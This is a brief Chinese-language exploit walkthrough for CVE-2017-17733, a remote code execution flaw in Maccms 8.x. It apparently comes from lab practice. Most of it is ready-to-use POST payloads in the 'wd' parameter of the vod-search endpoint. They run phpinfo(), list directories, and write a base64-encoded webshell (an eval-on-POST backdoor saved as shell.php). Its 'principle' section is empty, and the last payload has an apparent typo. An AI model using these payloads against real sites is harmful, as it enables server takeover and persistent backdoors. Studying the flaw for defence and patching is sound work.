maccms 远程命令执行(CVE-2017-17733)
描述: Maccms是一套跨平台的基于PHP和MySQL快速建站系统。。远程攻击者可借助index.php?m=vod-search请求中的‘wd’参数利用该漏洞执行命令。
影响版本: Maccms 8.x版本中存在安全漏洞
该漏洞点
利用wd参数post' wbeshell
漏洞利用
url:localhost/maccms8/?m=vod-search (有的网站不需要些maccms8,因为有的人会改名,改成maccms888啥的都有,这里靶场干脆不要这个)
post:wd={if-A:phpinfo()}{endif-A}
该点hi利用正则绕过
'/{if-([\s\S]?):([\s\S]+?)}([\s\S]?){endif-\1}/is'
如何要写入一个shell呢,我们只要控制它第二个子匹配获取到的是我们控制的恶意代码,并且绕过几个过滤替换的坑就好
{if-A:EXP}{endif-A}
由于不能带单引号,会被直接转义,于是尝试构造命令,先去读当前目录,结果被and被替换了,都忘记这个了。
wd={if-A:var_dump(scandir(pos(localeconv())))}{endif-A}
网上的getshell基本都是通过base64编码写入,没有引号并不会报错,只是有一个notice,仍然可以使用,是因为被隐性作为常量对待了
通过base64编码构造shell并且写入
wd={ifA:fputs(fopen(base64_decode(c2hlbGwucGhw),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeXVueWluZ10pOw))}{endif-A}
漏洞原理: